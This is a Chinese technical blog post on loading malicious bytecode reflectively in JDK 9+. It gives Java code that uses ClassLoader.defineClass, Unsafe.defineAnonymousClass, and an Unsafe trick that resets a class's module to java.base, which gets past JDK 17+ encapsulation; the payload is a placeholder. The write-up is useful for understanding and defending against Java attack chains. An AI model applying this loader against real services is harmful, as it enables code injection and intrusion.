首页 > 其他分享 >实战网络攻防中的高版本JDK反射类加载浅析

实战网络攻防中的高版本JDK反射类加载浅析

时间:2024-10-25 12:17:53浏览次数:10  
标签:攻防 java JDK 反射 Class Unsafe class 模块 浅析

就是要打骨折icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

《Java代码审计》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484219&idx=1&sn=73564e316a4c9794019f15dd6b3ba9f6&chksm=c0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene=21#wechat_redirect

《Web安全》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484238&idx=1&sn=ca66551c31e37b8d726f151265fc9211&chksm=c0e47a12f793f3049fefde6e9ebe9ec4e2c7626b8594511bd314783719c216bd9929962a71e6&scene=21#wechat_redirect

前言

JDK9版本开始引入Java平台模块系统JPMS(Java Platform Module System),详细介绍可以看Oracle官方对于JDK9的新特性说明:https://docs.oracle.com/javase/9/whatsnew/toc.htm

关于模块之间的访问权限:

通常Java的class类访问权限分为:public、protected、private和默认的包访问权限。JDK9引入模块概念后,这些概念就要和模块的区分一下,class的这些访问权限没有失效,但是只能在模块内生效。模块和模块之间如果想要外部访问到我们的类就需要显式导出一下也就是使用expoerts

module hello.world {
    exports com.itranswarp.sample;

    requires java.base;
		requires java.xml;
}

demo如下:

import javax.management.loading.MLet;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.URL;
import java.util.Base64;

public class Main {
    public static void main(String[] args)  {
        try {
            String evilClassBase64 = "xxxx";
            byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
            Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            Class cc = (Class) method.invoke(new MLet(new URL[0], Main.class.getClassLoader()), bytes, new Integer(0), new Integer(bytes.length));
            cc.newInstance();
        }catch (Exception e){

        }

    }
}

将上面的demo分别在JDK11JDK21环境中测试

JDK 11

使用上述demo运行后会提示非法反射操作,并且会提示在未来的版本会完全禁用掉此类的不安全反射操作,但是不影响字节码的加载

image-20240713113628934.png

image-20240712180200779.png

JDK21

image-20240713112635059.png

JDK17版本之后使用了强封装直接会ban掉非法反射,可以看报错提示java.base 模块中的 java.lang 包没有对未命名模块开放反射

Oracle官方文档给出的解释

https://docs.oracle.com/en/java/javase/17/migrate/migrating-jdk-8-later-jdk-releases.html#GUID-7BB28E4D-99B3-4078-BDC4-FC24180CE82B

这里就要去看一下JDK9之后模块化的一个指令

open, opens, opens…to 指令

在 Java 9 之前,我们可以通过反射技术来获取某个包下所有的类及其内部成员的信息,即使是 private 类型我们也能获取到,所以类信息并不是真的与外界完全隔离的。而模块系统的主要目标之一就是实现强封装,默认情况下,除非显式地导出或声明某个类为 public 类型,那么模块中的类对外部都是不可见的,模块化要求我们对外部模块应最小限度地暴露包的范围。open 相关的指令就是用来限制在运行时哪些类可以被反射技术探测到。

首先我们先看 opens 指令,语法如下:

opens package

opens 指令用于指定某个包下所有的 public 类都只能在运行时可被别的模块进行反射,并且该包下的所有的类及其乘员都可以通过反射进行访问。

opens…to 指令,语法如下:

opens package to modules

该指令用于指定某些特定的模块才能在运行时对该模块下特定包下的 public 类进行反射操作,to 后面跟逗号分隔的模块名称。

open 指令,语法如下:

open module moduleName{
}

该指令用于指定外部模块可以对该模块下所有的类在运行时进行反射操作。

也就是说JDK17+在开发的时候并没有将我们所需要的java.lang开放反射权限,导致我们无法进行反射类加载,查看JDK源码中的module-info.class定义,发现确实没有使用open指令

image-20240713114211261.png

后面看Oracle的官方文档发现,官方预留了sun.miscsun.reflect两个包可以进行反射调用

image-20240713124958677.png

后面看了下JDK21源码,在JDK的jdk.unsupported模块下的module-info中有声明

image-20240713125318846.png

使用opens的指令使得两个包名下的类可以被反射。

Unsafe

关于Unsafe类的介绍可以看这篇文章:https://javaguide.cn/java/basis/unsafe.html

文中提到了它分别有defineClassdefineAnonymousClass两种方法可以加载字节码的方式。但是作者在实际JDK8、JDK11、JDK21的环境中测试中发现,JDK8同时存在两个方法,但是JDK11只剩defineAnonymousClass一种方法,甚者JDK21两种方法都被移除了。。。。

下面是三个版本的JDK的Unsafe

JDK8

image-20240713130839765.png

JDK11

image-20240713130925459.png

JDK21

image-20240713131016878.png

后面去查找相关文章发现在JDK 17移除了defineAnonymousClass方法。

image-20240713131859556.png

也就是说在 <JDK17之前都可以直接用defineAnonymousClass这个方法去进行反射类加载操作。

Field field = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
            field.setAccessible(true);
            Unsafe unsafe = (Unsafe) field.get(null);
            unsafe.defineAnonymousClass(Class.class,bytes,null).newInstance();

JDK17+的字节码加载

虽然JDK模块化后官方预留了sun.miscsun.reflect两个包可以进行反射调用,但是JDK17+同时也删掉了UnsafedefineAnonymousClass方法。这就导致前面的加载方式就失效了。

后面看了@Aiwin师傅在https://xz.aliyun.com/t/14048分享通过修改当前类的module为java.base保持和java.lang.ClassLoader同module下就可以打破模块化的限制,从而可以加载字节码文件。

private boolean checkCanSetAccessible(Class<?> caller,
                                          Class<?> declaringClass,
                                          boolean throwExceptionIfDenied) {
        if (caller == MethodHandle.class) {
            throw new IllegalCallerException();   // should not happen
        }

        Module callerModule = caller.getModule();
        Module declaringModule = declaringClass.getModule();

        if (callerModule == declaringModule) return true;
        if (callerModule == Object.class.getModule()) return true;
        if (!declaringModule.isNamed()) return true;

        String pn = declaringClass.getPackageName();
        int modifiers;
        if (this instanceof Executable) {
            modifiers = ((Executable) this).getModifiers();
        } else {
            modifiers = ((Field) this).getModifiers();
        }

        // class is public and package is exported to caller
        boolean isClassPublic = Modifier.isPublic(declaringClass.getModifiers());
        if (isClassPublic && declaringModule.isExported(pn, callerModule)) {
            // member is public
            if (Modifier.isPublic(modifiers)) {
                logIfExportedForIllegalAccess(caller, declaringClass);
                return true;
            }

            // member is protected-static
            if (Modifier.isProtected(modifiers)
                && Modifier.isStatic(modifiers)
                && isSubclassOf(caller, declaringClass)) {
                logIfExportedForIllegalAccess(caller, declaringClass);
                return true;
            }
        }

        // package is open to caller
        if (declaringModule.isOpen(pn, callerModule)) {
            logIfOpenedForIllegalAccess(caller, declaringClass);
            return true;
        }

        if (throwExceptionIfDenied) {
            // not accessible
            String msg = "Unable to make ";
            if (this instanceof Field)
                msg += "field ";
            msg += this + " accessible: " + declaringModule + " does not \"";
            if (isClassPublic && Modifier.isPublic(modifiers))
                msg += "exports";
            else
                msg += "opens";
            msg += " " + pn + "\" to " + callerModule;
            InaccessibleObjectException e = new InaccessibleObjectException(msg);
            if (printStackTraceWhenAccessFails()) {
                e.printStackTrace(System.err);
            }
            throw e;
        }
        return false;
    }

从上述的方法中可以看到主要是检查了class的moudle,Unsafe类中恰好可以修改偏移量,将我们的类的module修改成基础module就可以绕过JDK17+版本的反射限制。

String evilClassBase64 = "xxxx";
        byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Module baseModule = Object.class.getModule();
        Class currentClass = Main.class;
        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.putObject(currentClass, offset, baseModule);
        Method method = ClassLoader.class.getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
        method.setAccessible(true);
        ((Class)method.invoke(ClassLoader.getSystemClassLoader(), bytes, 0, bytes.length)).newInstance();

image-20240714223046919.png

标签:攻防,java,JDK,反射,Class,Unsafe,class,模块,浅析
From: https://blog.csdn.net/liguangyao213/article/details/143231525

相关文章

  • 20222403 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    1.实验内容1.1.实践内容(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧正确使用msf编码器,使用msfvenom生成如jar之类的其他文件veil,加壳工具使用C+shellcode编程(2)通过组合应用各种技术实现恶意代码免杀如果成功实现了免杀的,简单语言描述原......
  • JDK 环境变量配置
    配置JDK(JavaDevelopmentKit)环境变量是确保Java开发环境正常工作的关键步骤。以下是如何在不同操作系统上配置JDK环境变量的详细指南。1.下载和安装JDK在配置环境变量之前,请确保已经下载并安装了JDK。可以从Oracle官方网站或OpenJDK下载。2.配置环境变量Windows......
  • 【linux】centos7 安装openjdk-17
    下载网址:https://openjdk.org/下载地址:https://jdk.java.net/java-se-ri/17-MR1创建目录mkdir-pv/usr/local/java/解压tar-zxvf/software/openjdk-17.0.0.1+2_linux-x64_bin.tar.gz-C/usr/local/java/进入目录cd/usr/local/java/cdjdk-17.0.0.1/配......
  • 20222305 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    网络攻防实验报告姓名:田青学号:20222305实验日期:2024/10/18—2024/10/31实验名称:后门原理与实践指导教师:王志强1.实验内容本周学习内容总结:1.用户态(ring3)和内核态(ring0),切换时机:系统调用、中断、异常。2.自启动技术。3.进程隐藏技术实现:1>改名2>基于系统服务的伪装3>......
  • 20222327 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    一、实验内容1.正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧2.通过组合应用各种技术实现恶意代码免杀3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本4.问题回答(1)杀软是如何检测出恶意代码的?基于特征码检测:杀毒软件中......
  • 20222317 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    一、实验内容本次实验目的为通过多次加密、文件格式欺骗、填充、加壳等技术手段实现恶意代码免杀,产生恶意程序,并尝试通过杀毒软件,不被杀毒软件检测出来。具体实验内容如下:1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件;2.能够使用veil,加壳工具;3.能够使用C+shellcode......
  • 智能手表核心芯片~手表心率监测芯片AFE4900浅析(附一篇智能手表专利推荐)
    智能手表核心芯片~手表心率监测芯片AFE4900浅析(附一篇智能手表专利推荐)本期是平台君和您分享的第89期内容2024年8月,安徽华米信息技术及美国的智能手表品牌ZEPP公司在美国对深圳思佰特公司提起诉讼,涉及专利、商标和不正当竞争。起诉书(来源:RPX网站)看到这则新闻,平台君马......
  • 20222417 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    1.实践内容1.1实验目的(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧正确使用msf编码器,使用msfvenom生成如jar之类的其他文件veil,加壳工具使用C+shellcode编程(2)通过组合应用各种技术实现恶意代码免杀如果成功实现了免杀的,简单语言描述原理,不......
  • 20222318 2024-2025-1 《网络与系统攻防技术》实验二实验报告
    1.实验内容(一)本周课程内容(1)深入理解后门概念及其实际案例,明晰后门对系统安全构成的潜在威胁。(2)普及后门技术知识,涵盖各类进程隐藏技巧,并熟悉netcat、meterpreter、veil等常见工具的应用。(3)进一步学习了shellcode注入的逻辑原理及其在不同场景下的应用。(二)实验目标(1)使用net......
  • 20222422 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    一、实验内容1、方法对后门实验中的msf编码器进行进一步的探索使用,使用msfvenom指令生成如jar之类的文件,从而尝试达到免杀的目的;通过Veil等工具对目标程序进行加壳或者其他操作来实现免杀;使用C+ShellCode编程实现免杀;2、应用通过组合应用各种技术尽可能地实现恶意代码免杀......